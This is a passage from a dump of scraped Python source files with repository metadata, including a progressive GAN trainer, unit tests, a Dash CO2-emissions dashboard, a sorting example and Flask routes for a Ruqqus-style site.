locals())\n\n","sub_path":"predict_prices2.py","file_name":"predict_prices2.py","file_ext":"py","file_size_in_byte":472,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"413082290","text":"import numpy as np\nimport os\nimport math\nimport pylab\nimport chainer\nimport chainer.links as L\nimport chainer.functions as F\nfrom chainer import cuda, Variable, initializers, serializers, Chain, optimizers\nfrom pggan_net import Generator, Discriminator\n\nxp = cuda.cupy\ncuda.get_device(0).use()\n\nimage_out_dir = './output'\nif not os.path.exists(image_out_dir):\n os.mkdir(image_out_dir)\n\ndef set_optimizer(model, alpha, beta):\n optimizer = optimizers.Adam(alpha = alpha, beta1 = beta)\n optimizer.setup(model)\n return optimizer\n\nx_train = np.load('data.npy').astype(np.float32)[0:5000]\n\nepochs = 1000\nbatchsize = 10\ninterval = 10\ninitial_stage = 0\nstage_interval = 300000\nlambda1 = 10.0\ngamma = 750.0\nresolution = 64\nNtrain = x_train.shape[0]\n\ncounter = math.ceil(initial_stage*stage_interval)\n\ngen_model = Generator()\ndis_model = Discriminator()\n\ngen_model.to_gpu()\ndis_model.to_gpu()\n\ngen_opt = set_optimizer(gen_model, 0.001, 0.0)\ndis_opt = set_optimizer(dis_model, 0.001, 0.0)\n\nfor epoch in range(epochs):\n sum_gen_loss = 0\n sum_dis_loss = 0\n for batch in range(0, Ntrain, batchsize):\n x_dis = np.zeros((batchsize,3,resolution,resolution), dtype=np.float32)\n for j in range(batchsize):\n rnd = np.random.randint(Ntrain)\n x_dis[j,:,:,:] = x_train[rnd]\n x_dis = Variable(cuda.to_gpu(x_dis))\n\n stage = counter / stage_interval\n\n if math.floor(stage)%2 == 0:\n reso = min(resolution, 4*2**(((math.floor(stage) + 1)//2)))\n scale = max(1, resolution//reso)\n if scale > 1:\n x_dis = F.average_pooling_2d(x_dis, scale, scale, 0)\n else:\n alpha = stage - math.floor(stage)\n reso_low = min(resolution, 4*2**(((math.floor(stage))//2)))\n reso_high = min(resolution, 4*2**(((math.floor(stage) + 1)//2)))\n scale_low = max(1, resolution//reso_low)\n scale_high = max(1, resolution//reso_high)\n if scale_low > 1:\n x_dis_low = F.average_pooling_2d(x_dis, scale_low, scale_low, 0)\n x_real_low = F.unpooling_2d(x_dis_low, 2,2,0, outsize = (reso_high, reso_high))\n x_real_high = F.average_pooling_2d(x_dis, scale_high, scale_high, 0)\n x_dis = (1 - alpha) * x_real_low + alpha * x_real_high\n y_dis = dis_model(x_dis, stage = stage)\n\n z = Variable(xp.asarray(gen_model.make_hidden(batchsize)))\n x_fake = gen_model(z, stage = stage)\n y_fake = dis_model(x_fake, stage = stage)\n\n x_fake.unchain_backward()\n\n eps = xp.random.uniform(0,1,size = batchsize).astype(xp.float32)[:,None,None,None]\n x_mid = eps * x_dis + (1.0 - eps) * x_fake\n\n x_mid_v = Variable(x_mid.data)\n y_mid = F.sum(dis_model(x_mid_v, stage = stage))\n grad, = chainer.grad([y_mid], [x_mid_v], enable_double_backprop=True)\n grad = F.sqrt(F.sum(grad*grad, axis=(1,2,3)))\n loss_gp = lambda1 * F.mean_squared_error(grad, gamma*xp.ones_like(grad.data)) * (1.0 / gamma**2)\n\n loss_dis = F.sum(-y_dis) / batchsize\n loss_dis += F.sum(y_fake) / batchsize\n loss_dis += 0.001 * F.sum(y_dis**2) / batchsize\n loss_dis += loss_gp\n\n dis_model.cleargrads()\n loss_dis.backward()\n dis_opt.update()\n loss_dis.unchain_backward()\n\n z = Variable(xp.asarray(gen_model.make_hidden(batchsize)))\n x_fake = gen_model(z, stage = stage)\n y_fake = dis_model(x_fake, stage = stage)\n loss_gen = F.sum(-y_fake) / batchsize\n gen_model.cleargrads()\n loss_gen.backward()\n gen_opt.update()\n loss_gen.unchain_backward()\n\n sum_dis_loss += loss_dis.data.get()\n sum_gen_loss += loss_gen.data.get()\n\n if epoch%interval==0 and batch ==0:\n pylab.rcParams['figure.figsize'] = (16.0,16.0)\n pylab.clf()\n z = Variable(xp.asarray(gen_model.make_hidden(batchsize)))\n with chainer.using_config('train',False):\n x = gen_model(z,stage)\n x = x.data.get()\n for i_ in range(batchsize):\n tmp = (np.clip((x[i_,:,:,:]*127.5 + 127.5), 0.0, 255.0)).transpose(1,2,0).astype(np.uint8)\n pylab.subplot(2,5,i_+1)\n pylab.imshow(tmp)\n pylab.axis('off')\n pylab.savefig('%s/visualize_%d_stage%d.png'%(image_out_dir, epoch,stage))\n counter += batchsize\n print('epoch:{} stage:{} dis_loss:{} gen_loss:{}'.format(epoch, int(stage), sum_dis_loss/Ntrain, sum_gen_loss/Ntrain))\n\nserializers.save_npz('discriminator.model',dis_model)\nserializers.save_npz('generator.model',gen_model)","sub_path":"ProgressiveGAN/progressivegan.py","file_name":"progressivegan.py","file_ext":"py","file_size_in_byte":4686,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"580347134","text":"import sys\ninput = sys.stdin.readline\nsys.setrecursionlimit(10 ** 7)\n\n\ndef DFS(target):\n global answer\n\n visit[target] = True\n cycle.append(target)\n nextTarget = sel[target]\n\n if visit[nextTarget]:\n if nextTarget in cycle:\n answer += cycle[cycle.index(nextTarget):]\n return\n else:\n DFS(nextTarget)\n\n\nT = int(input())\n\nfor _ in range(T):\n n = int(input())\n sel = [0] + list(map(int, input().split()))\n visit = [False] * (n + 1)\n answer = []\n\n for i in range(1, n + 1):\n if not visit[i]:\n cycle = []\n DFS(i)\n \n print(n - len(answer))\n","sub_path":"BaekjoonOnlineJudge/9466/9466.py","file_name":"9466.py","file_ext":"py","file_size_in_byte":644,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"49662212","text":"\"\"\"\nCopyright (c) 2004-Present Pivotal Software, Inc.\n\nThis program and the accompanying materials are made available under\nthe terms of the under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\nhttp://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n\"\"\"\n\nimport fnmatch\nimport inspect\nimport os\nimport shutil\n\nfrom mpp.models import SQLConcurrencyTestCase\nfrom tinctest.lib.system import TINCSystem\nfrom tinctest.lib import local_path\n\nimport unittest2 as unittest\n\n# we're testing SQLTestCase as it pertains to tinc.py (and only tinc.py)\n# as such, any attempts by raw unit2 to discover and load MockSQLTestCase must be averted\n@unittest.skip('mock')\nclass MockSQLConcurrencyTestCase(SQLConcurrencyTestCase):\n \"\"\"\n \n @description test case with metadata\n @created 2012-07-05 12:00:00\n @modified 2012-07-05 12:00:02\n @tags orca hashagg\n \"\"\"\n def test_00000(self):\n \"\"\"\n @baseline 4.2.2.0\n @threshold 10\n \"\"\"\n pass\n\n@unittest.skip('mock')\nclass MockSQLConcurrencyTestCaseTemplate(SQLConcurrencyTestCase):\n template_dir = 'template_dir'\n template_subs = {'%VAR%' : \"foobar\"}\n\nclass SQLConcurrencyTestCaseTests(unittest.TestCase):\n\n @classmethod\n def setUpClass(cls):\n \"\"\"\n Some unit tests here call's test_case.run() method which does not set up the out dir required (out_dir set up gets\n handled in MPPTestCase.setUpClass which will be invoked only when running through a test_suite.run().\n Therefore, we setup the out dir required here in the test itself. \n \"\"\"\n TINCSystem.make_dirs(local_path('output'), ignore_exists_error=True)\n\n def test_run_sql_test_success(self):\n test_case = MockSQLConcurrencyTestCase('test_query02')\n\n # As explained above, we want MockSQLTestCase to run if and only if\n # it's being invoked by our unit tests. So, it's skipped if discovered\n # directly by unit2. Here, bearing in mind that SQLConcurrencyTestCaseTests is itself\n # triggered by unit2, we override MockSQLTestCase's skip decorator to allow\n # this explicit construction of MockSQLTestCase to proceed.\n test_case.__class__.__unittest_skip__ = False\n test_result = unittest.TestResult()\n i = 1\n for file in os.listdir(test_case.get_sql_dir()):\n if fnmatch.fnmatch(file, 'query02_part*.sql'):\n i += 1\n test_case.run(test_result)\n self.assertEqual(test_result.testsRun, 1)\n self.assertEqual(len(test_result.errors), 0)\n self.assertEqual(len(test_result.skipped), 0)\n self.assertEqual(len(test_result.failures), 0)\n count = 0\n for file in os.listdir(test_case.get_out_dir()):\n if fnmatch.fnmatch(file, 'query02*.out'):\n count = count + 1\n self.assertEqual(count, test_case.concurrency * test_case.iterations * i)\n # Cleanup\n if os.path.exists(test_case.get_out_dir()):\n for file in os.listdir(test_case.get_out_dir()):\n if fnmatch.fnmatch(file, 'query02*.out'):\n os.remove(os.path.join(test_case.get_out_dir(), file))\n\n def test_run_sql_test_failure_with_gpdiff(self):\n test_case = MockSQLConcurrencyTestCase('test_query03')\n\n # As explained above, we want MockSQLTestCase to run if and only if\n # it's being invoked by our unit tests. So, it's skipped if discovered\n # directly by unit2. Here, bearing in mind that SQLConcurrencyTestCaseTests is itself\n # triggered by unit2, we override MockSQLTestCase's skip decorator to allow\n # this explicit construction of MockSQLTestCase to proceed.\n test_case.__class__.__unittest_skip__ = False\n test_result = unittest.TestResult()\n current_dir = os.path.dirname(inspect.getfile(test_case.__class__))\n i = 1\n for file in os.listdir(test_case.get_sql_dir()):\n if fnmatch.fnmatch(file, 'query03_part*.sql'):\n i += 1\n self.assertTrue(test_case.gpdiff)\n test_case.run(test_result)\n self.assertEqual(test_result.testsRun, 1)\n self.assertEqual(len(test_result.errors), 0)\n self.assertEqual(len(test_result.skipped), 0)\n self.assertEqual(len(test_result.failures), 1)\n # Cleanup\n if os.path.exists(test_case.get_out_dir()):\n for file in os.listdir(test_case.get_out_dir()):\n if fnmatch.fnmatch(file, 'query03*.out'):\n os.remove(os.path.join(test_case.get_out_dir(),file))\n\n def test_run_sql_test_template(self):\n test_case = MockSQLConcurrencyTestCaseTemplate('test_template_query02')\n test_case.__class__.__unittest_skip__ = False\n test_result = unittest.TestResult()\n\n # Cleanup\n if os.path.exists(test_case.get_out_dir()):\n for file in os.listdir(test_case.get_out_dir()):\n if fnmatch.fnmatch(file, 'template_query02**.out'):\n os.remove(os.path.join(test_case.get_out_dir(),file))\n\n test_case.run(test_result)\n self.assertEqual(test_result.testsRun, 1)\n self.assertEqual(len(test_result.errors), 0)\n self.assertEqual(len(test_result.skipped), 0)\n self.assertEqual(len(test_result.failures), 0)\n count = 0\n for file in os.listdir(test_case.get_out_dir()):\n if fnmatch.fnmatch(file, 'template_query02*.out'):\n count = count + 1\n self.assertEqual(count, 12)\n\n # Cleanup\n if os.path.exists(test_case.get_out_dir()):\n for file in os.listdir(test_case.get_out_dir()):\n path = os.path.join(test_case.get_out_dir(), file)\n if fnmatch.fnmatch(file, 'template_query02*.*'):\n os.remove(os.path.join(test_case.get_out_dir(), file))\n if fnmatch.fnmatch(file, 'regress_sql_concurrency_test_case'):\n shutil.rmtree(path)\n\n def test_explicit_test_method(self):\n test_case = MockSQLConcurrencyTestCase('test_00000')\n test_case.__class__.__unittest_skip__ = False\n test_result = unittest.TestResult()\n test_case.run(test_result)\n self.assertEqual(test_result.testsRun, 1)\n self.assertEqual(len(test_result.errors), 0)\n self.assertEqual(len(test_result.skipped), 0)\n self.assertEqual(len(test_result.failures), 0)\n\n \n","sub_path":"src/test/tinc/tincrepo/mpp/models/regress/sql_related/regress_sql_concurrency_test_case/regress_sql_concurrency.py","file_name":"regress_sql_concurrency.py","file_ext":"py","file_size_in_byte":6826,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"10157523","text":"import time,webbrowser\n\ndef take_a_break(url_to_open,num_of_breaks = 3,sleep_duration = 60*60*3):\n r\"\"\"Function to open webpage at specified time intervals.\n\n url_to_open -- string. Web page to open at break time.\n num_of_breaks -- int. Number of breaks.\n sleep_duration -- int. Time interval between breaks in seconds.\n \"\"\"\n\n print('This function started at: {}'.format(time.ctime()))\n\n for i in range(num_of_breaks):\n time.sleep(sleep_duration)\n webbrowser.open(url_to_open, new=1, autoraise=True)\n\n\n\ntake_a_break('https://www.youtube.com/user/allindiabakchod') \n\n\n ","sub_path":"python-scrapbook/take_a_break.py","file_name":"take_a_break.py","file_ext":"py","file_size_in_byte":617,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"297113890","text":"# Copyright 2019 Google LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# https://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport json\nimport unittest\nfrom edgetpu.detection.engine import DetectionEngine\nfrom PIL import Image\nfrom pycocotools import coco\nfrom pycocotools import cocoeval\n\nfrom . import test_utils\n\nclass TestCocoObjectDetection(unittest.TestCase):\n\n @staticmethod\n def absolute_to_relative_bbox(bbox):\n \"\"\"Converts the model output bounding box to the format for evaluation.\n\n The model output bounding box is in format [[x1, y1], [x2, y2]], where\n (x1,y1) is the top-left corner and (x2,y2) is the bottom-right corner of the\n bounding box. The COCO evaluation tool expects the bounding box to be in\n format [x1, y1, width, height].\n\n Args:\n bbox: List, [x1, y1, x2, y2].\n\n Returns:\n List of [x1, y1, width, height].\n \"\"\"\n return [bbox[0], bbox[1], bbox[2] - bbox[0], bbox[3] - bbox[1]]\n\n def _test_model(self, model_name, expected_ap=None, expected_ar=None,\n resample=Image.NEAREST):\n engine = DetectionEngine(test_utils.test_data_path(model_name))\n ground_truth_file = 'coco/annotations/instances_val2017.json'\n coco_gt = coco.COCO(test_utils.test_data_path(ground_truth_file))\n detection_results = []\n print('Running inference for model %s...' % model_name)\n for _, img in coco_gt.imgs.items():\n with test_utils.test_image('coco', 'val2017', img['file_name']) as image:\n ret = engine.detect_with_image(image.convert('RGB'), threshold=0, top_k=100,\n relative_coord=False, resample=resample)\n for detection in ret:\n detection_results.append({\n 'image_id': img['id'],\n # Model label id and ground truth label id are 1 off.\n 'category_id': detection.label_id + 1,\n 'bbox': self.absolute_to_relative_bbox(\n detection.bounding_box.flatten().tolist()),\n 'score': detection.score.item()})\n\n detection_file = '/tmp/%s.json' % model_name\n with open(detection_file, 'w') as f:\n json.dump(detection_results, f, separators=(',', ':'))\n\n coco_dt = coco_gt.loadRes(detection_file)\n coco_eval = cocoeval.COCOeval(coco_gt, coco_dt, 'bbox')\n coco_eval.evaluate()\n coco_eval.accumulate()\n coco_eval.summarize()\n if expected_ap is not None:\n self.assertGreaterEqual(coco_eval.stats[0], expected_ap)\n if expected_ar is not None:\n self.assertGreaterEqual(coco_eval.stats[6], expected_ar)\n\n def test_mobilenet_ssd_v1(self):\n self._test_model('mobilenet_ssd_v1_coco_quant_postprocess_edgetpu.tflite',\n expected_ap=0.173, expected_ar=0.174)\n\n def test_mobilenet_ssd_v2(self):\n self._test_model('mobilenet_ssd_v2_coco_quant_postprocess_edgetpu.tflite',\n expected_ap=0.215, expected_ar=0.199)\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"tests/coco_object_detection_test.py","file_name":"coco_object_detection_test.py","file_ext":"py","file_size_in_byte":3398,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"244191531","text":"'''\n (c) Copyright 2021\n All rights reserved\n Programs written by Yasser Abduallah\n Department of Computer Science\n New Jersey Institute of Technology\n University Heights, Newark, NJ 07102, USA\n\n Permission to use, copy, modify, and distribute this\n software and its documentation for any purpose and without\n fee is hereby granted, provided that this copyright\n notice appears in all copies. Programmer(s) makes no\n representations about the suitability of this\n software for any purpose. It is provided \"as is\" without\n express or implied warranty.\n\n @author: Yasser Abduallah\n'''\nfrom __future__ import division\nimport warnings \nwarnings.filterwarnings('ignore')\n\nimport pandas as pd\nimport numpy as np\nimport os\nimport csv \nfrom datetime import datetime\nimport argparse\nimport pickle \nimport time \n\n# import tsinet_utils as si_utils\nfrom tsinet_utils import *\n\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '3' \nimport tensorflow as tf\ntry:\n tf.compat.v1.logging.set_verbosity(tf.compat.v1.logging.ERROR)\nexcept Exception as e:\n print('turning logging of is not available')\n\nnormalize_data = True \nmodel_verbose = 1\nepochs =20\nbatch_size = 16\nmax_irradiance = 0\ndata_dir = 'train_data/'\nresult_data_dir = 'results/'\ndata_train_validate_file_name = 'train_data' + os.sep + 'SORCE_TSI.csv'\nnum_value = 1\nnum_units=400\nverbose = False\nattention_layer=True\n\ndef train_tsinet():\n starting_time = int(round(time.time() * 1000))\n log('data_train_validate_file_name:', data_train_validate_file_name)\n\n dataset1 = si_utils.load_data(data_train_validate_file_name,index_col=[], remove_zero_cols=['irradiance'])\n date_data = dataset1['date']\n \n irradiance_data_orig = dataset1['irradiance']\n \n dataset = si_utils.load_data(data_train_validate_file_name, remove_zero_cols=['irradiance'])\n\n dataset = si_utils.drop_column_from_dataset(dataset,'julian_date')\n dataset = si_utils.drop_column_from_dataset(dataset,'sunspot')\n cols = dataset.columns\n for c in cols:\n if c.strip().lower() != 'irradiance':\n dataset = si_utils.drop_column_from_dataset(dataset, c)\n log('columns:', dataset.columns) \n n_features = len(dataset.columns) - 1\n \n log(dataset.columns)\n irradiance_col_index = 0\n for i in range(0 , len(dataset.columns)):\n c = dataset.columns[i]\n if c =='irradiance':\n irradiance_col_index = i\n irradiance_data = dataset['irradiance']\n median_irradiance = np.median( irradiance_data)\n max_irradiance = irradiance_data.max()\n min_irradiance = irradiance_data.min()\n si_utils.save_model_irradiance_stats(max_irradiance,min_irradiance)\n subtract_irradiance_value = min_irradiance\n log('median_irradiance:', median_irradiance)\n log('max_irradiance:', max_irradiance)\n log('min_irradiance:' , min_irradiance)\n log('subtract_irradiance_value:', subtract_irradiance_value)\n if normalize_data:\n subtract_irradiance_value = min_irradiance\n log(\"Normalizing data...\")\n irradiance_data = irradiance_data - subtract_irradiance_value\n irradiance_data = irradiance_data / (max_irradiance - min_irradiance)\n irradiance_data = irradiance_data * num_value \n \n dataset['irradiance'] = irradiance_data\n \n dataset_x, dataset_y = create_time_frames(dataset, input_col='irradiance')\n log('dataset_x size:', len(dataset_x)) \n log('dataset_y size:', len(dataset_y))\n dataset = dataset.values\n count = 0\n train_x, test_x = split_train_test_dataset(dataset_x, test_size=0)\n log('train_x size from split:', len(train_x)) \n log('test_x size from split:', len(test_x))\n train_y, test_y = split_train_test_dataset(dataset_y,test_size=0)\n log('train_y size from split:', len(train_y)) \n log('test_y size from split:', len(test_y))\n log('type of train_y:', type(train_y))\n \n log('train_x.shape',train_x.shape)\n log('train_y.shape', train_y.shape)\n log('test_x', test_x.shape)\n log('test_y', test_y.shape)\n log('train_y[0:1]', train_y[0:1])\n test_date_starting_index = len(train_x)\n log('orig date size: ', len(date_data))\n \n load_data_time = int(round(time.time() * 1000))\n log('Time taken to load and prepare data:', int((load_data_time - starting_time)/1000) , 'second(s)')\n starting_time = int(round(time.time() * 1000)) \n\n model = build_model(train_x, train_y,num_units=num_units,epochs=epochs, attention=attention_layer, model_verbose=model_verbose) \n log('saving the TSInet model')\n if not verbose:\n print('Saving the TSInet model')\n save_model(model, model_type='tsinet',model_name='tsinet')\n save_model_data(train_x, model_type='tsinet', data_name ='train_x')\n save_model_data(train_y, model_type='tsinet', data_name ='train_y')\n print('The model is saved in the models directory')\n log('Finished TSInet training...')\n if not verbose:\n print('Finished TSInet training...')\n\n\ndef process_args(args):\n global verbose\n global num_units \n global epochs \n global attention_layer \n global normalize_data\n global model_verbose\n global data_train_validate_file_name\n \n if 'verbose' in args:\n verbose = boolean(args['verbose'])\n set_verbose(verbose)\n if 'num_units' in args:\n num_units = int( args['num_units'])\n if 'epochs' in args:\n epochs = args['epochs']\n if 'attention_layer' in args:\n attention_layer = boolean(args['attention_layer'])\n \n if 'normalize_data' in args:\n normalize_data = boolean(args['normalize_data'])\n if 'model_verbose' in args:\n model_verbose=int(args['model_verbose'])\n if 'training_file' in args:\n data_train_validate_file_name = args['training_file']\n \n if not os.path.exists(data_train_validate_file_name):\n print('\\nTraining dataset does not exist:', data_train_validate_file_name,'. Please check the ReadMe file on how to download the artifacts.')\n sys.exit()\n\nif __name__ == \"__main__\":\n '''\n Command line parameters parser\n '''\n ap = argparse.ArgumentParser()\n \n ap.add_argument(\"-e\", \"--epochs\", type=int, default=epochs,\n help=\"Number of epochs to train the network.\")\n \n ap.add_argument(\"-a\", \"--attention_layer\", required = False, default=True,\n help=\"Add the additional layer to generate more focused input and output. Default is True\")\n \n ap.add_argument(\"-u\", \"--num_units\", type = int, required = False, default= 400,\n help=\"The number of LSTM units to use during learning. Default is 400\")\n \n ap.add_argument(\"-n\", \"--normalize_data\", type = bool, required = False, default= True,\n help=\"Normalize the TSI data before processing, default is True.\")\n \n ap.add_argument(\"-l\", \"--verbose\", type = bool, required = False, default= False,\n help=\"Verbose level to print processing logs, default is False.\")\n \n ap.add_argument(\"-v\", \"--model_verbose\", type = int, required = False, default= 2,\n help=\"Verbose level to print processing logs, default is 2, one line per epoch. 1 is a progress bar for each epoch, and 0 is silent.\")\n \n \n args = vars(ap.parse_args())\n \n parse_args(args)\n \n train_tsinet()","sub_path":"tsinet_train.py","file_name":"tsinet_train.py","file_ext":"py","file_size_in_byte":7230,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"338293143","text":"# -*- coding: utf-8 -*-\n\"\"\"\n\n@author: Tran Thi Dieu Hien\n\"\"\"\n\ndef sapxep_chen(n):\n # Bắt đầu trên phần tử thứ hai vì chúng tôi giả sử phần tử đầu tiên được sắp xếp\n for i in range(1, len(n)):\n muc_de_chen = n[i]\n # Giữ một tham chiếu về chỉ mục của phần tử trước đó \n j = i - 1\n # Di chuyển tất cả các phần tử của danh sách đã sắp xếp\n # về phía trước nếu chúng lớn hơn phần tử để chèn \n while j >= 0 and n[j] > muc_de_chen:\n n[j + 1] = n[j]\n j -= 1\n # Chèn phần tử\n n[j + 1] = muc_de_chen\n\n\nrandom_list = [9, 1, 15, 28, 6]\nsapxep_chen(random_list)\nprint(random_list) ","sub_path":"CTDL>_Python/B15_Sapxep_chen.py","file_name":"B15_Sapxep_chen.py","file_ext":"py","file_size_in_byte":755,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"543852382","text":"import pandas as pd\n\n\n\ndf=pd.read_csv('manipulated.csv')\n\n\ndf=df.rename(columns={'value':'amount'})\n\n\n\n\n\nimport plotly.express as px\nimport dash\nimport dash_core_components as dcc\nimport dash_html_components as html\nfrom dash.dependencies import Input, Output\nimport dash_bootstrap_components as dbc\n\n\n\napp = dash.Dash(__name__)\nserver = app.server\napp.layout = html.Div([\n\tdbc.Row([\n\t\tdbc.Col([\n\t\t\thtml.H4('CO2 intensity due to electricity generation in the EU 1990-2017'),\n\t\t\thtml.P('''A set of data cllected from the EEU showing the intensity of carbon\n\t\t\t dioxide emissions due to the electricity production from the year 1990 to the year 2017, All numbers are measured in (gCO2/KWh)''', id='the_text'),\n\t\t], id='title', width={'size':11, 'offset':0}),\n\t\tdbc.Col([\n\t\t\thtml.Img(src=app.get_asset_url('image.png'), height=80, id='the_image',\n\t\t\t),\n\t\t], id='image', width={'size':1, 'offset':0}),\n\t],id='header'),\n\n\tdbc.Row([\n\t\tdbc.Col([\n\t\t\thtml.P('select a range of years', id='slider_text'), \n\n\t\t\tdcc.RangeSlider(\n id='range_slider', \n marks={\n 1990: '1990', \n 1995: '1995',\n 2000: '2000',\n 2005: '2005',\n 2010: '2010',\n 2015: '2015',\n 2017: '2017',\n },\n step=1, \n min=1990,\n max=2017,\n dots=True,\n updatemode='mouseup',\n\t\t\tvalue=[2000, 2005]\n ),\n\t\t], id='slider_column')\n\t], id='slider_container'), \n\n\tdbc.Row([\n\t\tdbc.Col(\n\t\t\tdcc.Graph(id='the_graph'),\n xs=12, sm=12, md=12, lg=6, xl=6,\n id='top_left_col',\n\t\t), \n\t\tdbc.Col(\n\t\t\tdcc.Graph(id='the_graph1'), \n xs=12, sm=12, md=12, lg=6, xl=6,\n id='top_right_col',\n\t\t),\n\t]),\n\n dbc.Row([\n\t\tdbc.Col([\n\t\t\thtml.P('select from the countries below', id='dropdown_text'), \n\n dcc.Dropdown(id='dropdown',\n options=[\n {'label':x, 'value':x} for x in df.sort_values('country')['country'].unique()\n \n ],\n value=['Finland', 'Germany', 'Cyprus'],\n multi=True,\n clearable=False, )\n\t\t], id='dropdown_column')\n\t], id='dropdown_container'),\n\n dbc.Row([\n dbc.Col([\n dcc.Graph(id='line_chart')\n ], id='bottom_col', width={'size':12, 'offset':0})\n ], id='bottom_row'),\n\n])\n\n@app.callback(\n Output('the_graph','figure'),\n [Input('range_slider','value')]\n)\n\ndef update_graph(years_chosen):\n\n dff=df[(df['year']>=years_chosen[0])&(df['year']<=years_chosen[1])]\n dff=dff.groupby([\"country\"], as_index=False)[\"amount\"].mean()\n\n the_bar = px.bar(\n data_frame=dff,\n x=\"country\",\n y=\"amount\",\n\t\ttemplate='plotly_dark'\n )\n\n\n return (the_bar)\n\n@app.callback(\n Output('the_graph1','figure'),\n [Input('range_slider','value')]\n)\n\ndef update_graph(years_chosen):\n ddff=df[(df['year']>=years_chosen[0])&(df['year']<=years_chosen[1])]\n dfdf=ddff.groupby([\"country\", 'iso_codes'], as_index=False)[\"amount\"].mean()\n\n the_map = px.choropleth(dfdf, color='amount', hover_name='country', hover_data=['amount'],\n\t\t\t\t\t\t\t template='plotly_dark', scope='europe', locations='iso_codes',\n\t\t\t\t\t\t\t basemap_visible=True, title='Zoom into the map or click on a country', )\n\n\n return (the_map)\n\n\n@app.callback(\n Output('line_chart','figure'),\n [Input('dropdown','value')]\n)\n\ndef build_graph(country_chosen):\n dfs=df[df['country'].isin(country_chosen)]\n \n\n line_chart = px.line(dfs, x=\"year\", y=\"amount\", color='country',template='plotly_dark', title='Change overtime')\n \n return line_chart\n\n\nif __name__ == \"__main__\":\n app.run_server(host='0.0.0.0', port=8050, debug=False)\n\n","sub_path":"final_code1.py","file_name":"final_code1.py","file_ext":"py","file_size_in_byte":3731,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"414851152","text":"from urllib.parse import urlparse\nimport mistletoe\n\nfrom ruqqus.helpers.wrappers import *\nfrom ruqqus.helpers.base36 import *\nfrom ruqqus.helpers.sanitize import *\nfrom ruqqus.helpers.filters import *\nfrom ruqqus.classes import *\nfrom flask import *\nfrom ruqqus.__main__ import app, db\n\n\n@app.route(\"/u/\", methods=[\"GET\"])\n@auth_desired\ndef u_username(username, v=None):\n \n #username is unique so at most this returns one result. Otherwise 404\n \n #case insensitive search\n\n result = db.query(User).filter(User.username.ilike(username)).first()\n\n if not result:\n abort(404)\n\n #check for wrong cases\n\n if username != result.username:\n return redirect(result.url)\n \n return result.rendered_userpage(v=v)\n\n@app.route(\"/post/\", methods=[\"GET\"])\n@auth_desired\ndef post_base36id(base36id, v=None):\n \n base10id = base36decode(base36id)\n \n try:\n post=db.query(Submission).filter_by(id=base10id).all()[0]\n except IndexError:\n abort(404)\n \n return post.rendered_page(v=v)\n\n\n@app.route(\"/submit\", methods=['POST'])\n@is_not_banned\n@validate_formkey\ndef submit_post(v):\n\n title=request.form.get(\"title\",\"\")\n url=request.form.get(\"url\",\"\")\n\n if len(title)<10:\n return render_template(\"submit.html\", v=v, error=\"Please enter a better title.\")\n \n x=urlparse(url)\n if not (x.scheme and x.netloc):\n return render_template(\"submit.html\", v=v, error=\"Please enter a URL.\")\n\n #sanitize title\n title=sanitize(title, linkgen=False)\n\n #check for duplicate\n dup = db.query(Submission).filter_by(title=title,\n author_id=v.id,\n url=url\n ).first()\n\n if dup:\n return redirect(dup.permalink)\n\n #now make new post\n \n new_post=Submission(title=title,\n url=url,\n author_id=v.id\n )\n\n #run through content filter\n x=filter_post(new_post)\n if x:\n return render_template(\"submit.html\",v=v, error=x)\n \n\n db.add(new_post)\n\n db.commit()\n\n vote=Vote(user_id=v.id,\n vote_type=1,\n submission_id=new_post.id\n )\n db.add(vote)\n db.commit()\n\n return redirect(new_post.permalink)\n\n@app.route(\"/ip/\", methods=[\"GET\"])\n@admin_level_required(4)\ndef ip_address(addr, v):\n\n #Restricted to trust+safety ranks and above (admin level 4)\n\n user_ids=[]\n for ip in db.query(IP).filter_by(ip=addr).all():\n if ip.user_id not in user_ids:\n user_ids.append(ip.user_id)\n \n users=[db.query(User).filter_by(id=x).first() for x in user_ids]\n users.sort(key=lambda x: x.username)\n\n return render_template(\"ips.html\", addr=addr, users=users, v=v) \n \n@app.route(\"/api/comment\", methods=[\"POST\"])\n@auth_required\n@validate_formkey\ndef api_comment(v):\n\n body=request.form.get(\"text\")\n parent_fullname=request.form.get(\"parent_fullname\")\n\n #sanitize\n body=request.form.get(\"body\")\n body_html=mistletoe.markdown(body_md)\n body_html=sanitize(body_html, linkgen=True)\n\n #check existing\n existing=db.query(Comment).filter_by(author_id=v.id,\n body=body,\n parent_fullname=parent_fullname\n ).first()\n if existing:\n return redirect(existing.permalink)\n\n\n c=Comment(author_id=v.id,\n body=body,\n body_html=body_html)\n\n db.add(c)\n db.commit()\n \n","sub_path":"ruqqus/routes/things.py","file_name":"things.py","file_ext":"py","file_size_in_byte":3686,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"309905109","text":"def 